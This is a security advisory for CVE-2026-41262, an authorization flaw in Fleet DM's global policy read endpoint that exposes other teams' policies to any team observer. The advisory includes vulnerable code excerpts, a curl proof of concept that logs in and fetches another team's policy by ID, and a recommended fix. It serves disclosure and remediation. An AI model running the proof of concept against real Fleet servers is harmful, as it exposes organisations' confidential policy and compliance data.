CVE-2026-41262: Github.com/fleetdm/fleet/v4 Fleet DM Vulnerable To Cross-Team Vulnerability

MODERATE
Advisory Identifier: GHSA-gm7f-v959-fr2g
CVSS 4.3
CWE-863
Published
Advisory Summary

CVE-2026-41262 is a MODERATE (CVSS 4.3) fleet dm vulnerable to cross-team vulnerability (CWE-863: Incorrect Authorization) affecting Github.com/fleetdm/fleet/v4 libraries in the Go ecosystem. The issue involves fleet dm vulnerable to cross-team policy data exposure via global policy read endpoint. Remediation is available by upgrading affected packages to version 4.85.0.

CVE-2026-41262 at a Glance

CVE Identifier CVE-2026-41262
GHSA Identifier GHSA-gm7f-v959-fr2g
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-863: Incorrect Authorization
Affected Product Github.com/fleetdm/fleet/v4
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-41262

To remediate this vulnerability, upgrade all affected Github.com/fleetdm/fleet/v4 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/fleetdm/fleet/v4 fixed: 4.85.0
Upgrade github.com/fleetdm/fleet/v4 to 4.85.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/fleetdm/fleet/v4

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41262, inspect your project dependencies for Github.com/fleetdm/fleet/v4:

inspect dependencies for github.com/fleetdm/fleet/v4

Analyze the terminal output to locate any version of Github.com/fleetdm/fleet/v4 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.85.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Github.com/fleetdm/fleet/v4, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The global policy read endpoint (`GET /api/latest/fleet/policies/{policy_id}`) performs authorization against an empty `fleet.Policy{}` struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model. ## Details The vulnerability is in `GetPolicyByIDQueries` at `server/service/global_policies.go:163-180`: ```go func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) { // Auth check uses empty Policy{} — TeamID is nil if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil { return nil, err } // Fetches ANY policy by ID, regardless of team ownership policy, err := svc.ds.Policy(ctx, policyID) if err != nil { return nil, err } // ... populates install_software and run_script, returns full policy return policy, nil } ``` The authorization passes because the OPA rule at `server/authz/policy.rego:724-728` allows reading policies with null `team_id` for any user who holds a role on any team: ```rego allow { is_null(object.team_id) object.type == "policy" team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_] action == read } ``` Since the auth object has nil TeamID, this rule fires for any team member. After authorization, `ds.Policy()` calls `policyDB()` at `server/datastore/mysql/policies.go:283-288` with a nil teamID: ```go func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) { teamWhere := "TRUE" // nil teamID → no team filter args := []interface{}{id} if teamID != nil { teamWhere = "team_id = ?" args = append(args, *teamID) } // ... executes SELECT with WHERE p.id = ? AND {teamWhere} ``` This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification. By contrast, the properly-secured endpoints verify team scope: - `GetTeamPolicyByIDQueries` (`team_policies.go:421-428`) sets `TeamID: ptr.Uint(teamID)` on the auth object and calls `ds.TeamPolicy()` which filters by team - `DeleteGlobalPolicies` (`global_policies.go:255-263`) explicitly checks `policy.PolicyData.TeamID != nil` after fetching ## PoC Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view. ```bash # Step 1: Authenticate as User A (Team 1 observer only) TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \ -H 'Content-Type: application/json' \ -d '{"email":"team1observer@example.com","password":"password"}' | jq -r '.token') # Step 2: Enumerate policy IDs (they are sequential integers) # Attempt to read a policy belonging to Team 2 (e.g., policy ID 5) curl -s -H "Authorization: Bearer $TOKEN" \ https://fleet.example.com/api/latest/fleet/policies/5 # Expected: 403 Forbidden (user has no access to Team 2) # Actual: 200 OK with full policy data: # { # "policy": { # "id": 5, # "name": "Team 2 Sensitive Policy", # "query": "SELECT * FROM sensitive_table WHERE ...", # "team_id": 2, # "passing_host_count": 42, # "failing_host_count": 7, # "description": "...", # "resolution": "...", # ... # } # } ``` ## Impact An authenticated user with observer-level access on any single team can: - **Read SQL queries** from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details - **View host pass/fail counts** for other teams' policies, leaking compliance posture data across team boundaries - **Access software installer and script metadata** associated with other teams' policies via the `populatePolicyInstallSoftware` and `populatePolicyRunScript` calls - **Enumerate all policies** by iterating sequential integer IDs This breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries. ## Recommended Fix Add a post-fetch check in `GetPolicyByIDQueries` to verify the returned policy is actually a global policy (nil TeamID), consistent with how `DeleteGlobalPolicies` operates: ```go func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) { if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil { return nil, err } policy, err := svc.ds.Policy(ctx, policyID) if err != nil { return nil, err } // Verify this is actually a global policy — team policies must be // accessed via the team-scoped endpoint which enforces team authorization if policy.TeamID != nil { return nil, authz.ForbiddenWithInternal( "attempting to read team policy via global endpoint", authz.UserFromContext(ctx), policy, fleet.ActionRead, ) } if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil { return nil, ctxerr.Wrap(ctx, err, "populate install_software") } if err := svc.populatePolicyRunScript(ctx, policy); err != nil { return nil, ctxerr.Wrap(ctx, err, "populate run_script") } return policy, nil } ``` Alternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.

CVE-2026-41262 Affected Github.com/fleetdm/fleet/v4 Versions

1 component(s)
Fixed Versions:
4.85.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/fleetdm/fleet/v4
Go
< 4.85.0
4.85.0

References

Frequently Asked Questions

What is CVE-2026-41262?
CVE-2026-41262 is a security vulnerability in Github.com/fleetdm/fleet/v4 involving Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint under CWE-863: Incorrect Authorization.
Which Github.com/fleetdm/fleet/v4 versions are affected?
Affected versions include releases prior to 4.85.0 across affected packages: github.com/fleetdm/fleet/v4.
What version fixes CVE-2026-41262?
Upgrading to 4.85.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/fleetdm/fleet/v4 affected?
Yes, github.com/fleetdm/fleet/v4 is affected in releases prior to 4.85.0. Upgrade your dependency to 4.85.0 or later.
What is the CVSS score of CVE-2026-41262?
CVE-2026-41262 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-41262?
CVE-2026-41262 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-41262?
Run the dependency tree command: 'inspect dependencies for github.com/fleetdm/fleet/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gm7f-v959-fr2g",
  "modified" : "2026-06-26T20:30:27Z",
  "published" : "2026-06-26T20:30:27Z",
  "aliases" : [ "CVE-2026-41262" ],
  "summary" : "Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint",
  "details" : "## Summary\n\nThe global policy read endpoint (`GET /api/latest/fleet/policies/{policy_id}`) performs authorization against an empty `fleet.Policy{}` struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.\n\n## Details\n\nThe vulnerability is in `GetPolicyByIDQueries` at `server/service/global_policies.go:163-180`:\n\n```go\nfunc (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {\n\t// Auth check uses empty Policy{} — TeamID is nil\n\tif err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Fetches ANY policy by ID, regardless of team ownership\n\tpolicy, err := svc.ds.Policy(ctx, policyID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// ... populates install_software and run_script, returns full policy\n\treturn policy, nil\n}\n```\n\nThe authorization passes because the OPA rule at `server/authz/policy.rego:724-728` allows reading policies with null `team_id` for any user who holds a role on any team:\n\n```rego\nallow {\n  is_null(object.team_id)\n  object.type == \"policy\"\n  team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]\n  action == read\n}\n```\n\nSince the auth object has nil TeamID, this rule fires for any team member. After authorization, `ds.Policy()` calls `policyDB()` at `server/datastore/mysql/policies.go:283-288` with a nil teamID:\n\n```go\nfunc policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {\n\tteamWhere := \"TRUE\"  // nil teamID → no team filter\n\targs := []interface{}{id}\n\tif teamID != nil {\n\t\tteamWhere = \"team_id = ?\"\n\t\targs = append(args, *teamID)\n\t}\n\t// ... executes SELECT with WHERE p.id = ? AND {teamWhere}\n```\n\nThis returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.\n\nBy contrast, the properly-secured endpoints verify team scope:\n- `GetTeamPolicyByIDQueries` (`team_policies.go:421-428`) sets `TeamID: ptr.Uint(teamID)` on the auth object and calls `ds.TeamPolicy()` which filters by team\n- `DeleteGlobalPolicies` (`global_policies.go:255-263`) explicitly checks `policy.PolicyData.TeamID != nil` after fetching\n\n## PoC\n\nPrerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.\n\n```bash\n# Step 1: Authenticate as User A (Team 1 observer only)\nTOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"team1observer@example.com\",\"password\":\"password\"}' | jq -r '.token')\n\n# Step 2: Enumerate policy IDs (they are sequential integers)\n# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  https://fleet.example.com/api/latest/fleet/policies/5\n\n# Expected: 403 Forbidden (user has no access to Team 2)\n# Actual: 200 OK with full policy data:\n# {\n#   \"policy\": {\n#     \"id\": 5,\n#     \"name\": \"Team 2 Sensitive Policy\",\n#     \"query\": \"SELECT * FROM sensitive_table WHERE ...\",\n#     \"team_id\": 2,\n#     \"passing_host_count\": 42,\n#     \"failing_host_count\": 7,\n#     \"description\": \"...\",\n#     \"resolution\": \"...\",\n#     ...\n#   }\n# }\n```\n\n## Impact\n\nAn authenticated user with observer-level access on any single team can:\n\n- **Read SQL queries** from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details\n- **View host pass/fail counts** for other teams' policies, leaking compliance posture data across team boundaries\n- **Access software installer and script metadata** associated with other teams' policies via the `populatePolicyInstallSoftware` and `populatePolicyRunScript` calls\n- **Enumerate all policies** by iterating sequential integer IDs\n\nThis breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.\n\n## Recommended Fix\n\nAdd a post-fetch check in `GetPolicyByIDQueries` to verify the returned policy is actually a global policy (nil TeamID), consistent with how `DeleteGlobalPolicies` operates:\n\n```go\nfunc (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {\n\tif err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {\n\t\treturn nil, err\n\t}\n\n\tpolicy, err := svc.ds.Policy(ctx, policyID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Verify this is actually a global policy — team policies must be\n\t// accessed via the team-scoped endpoint which enforces team authorization\n\tif policy.TeamID != nil {\n\t\treturn nil, authz.ForbiddenWithInternal(\n\t\t\t\"attempting to read team policy via global endpoint\",\n\t\t\tauthz.UserFromContext(ctx),\n\t\t\tpolicy,\n\t\t\tfleet.ActionRead,\n\t\t)\n\t}\n\n\tif err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {\n\t\treturn nil, ctxerr.Wrap(ctx, err, \"populate install_software\")\n\t}\n\tif err := svc.populatePolicyRunScript(ctx, policy); err != nil {\n\t\treturn nil, ctxerr.Wrap(ctx, err, \"populate run_script\")\n\t}\n\n\treturn policy, nil\n}\n```\n\nAlternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/fleetdm/fleet/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.85.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fleetdm/fleet/security/advisories/GHSA-gm7f-v959-fr2g"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fleetdm/fleet"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T20:30:27Z",
    "nvd_published_at" : null
  }
}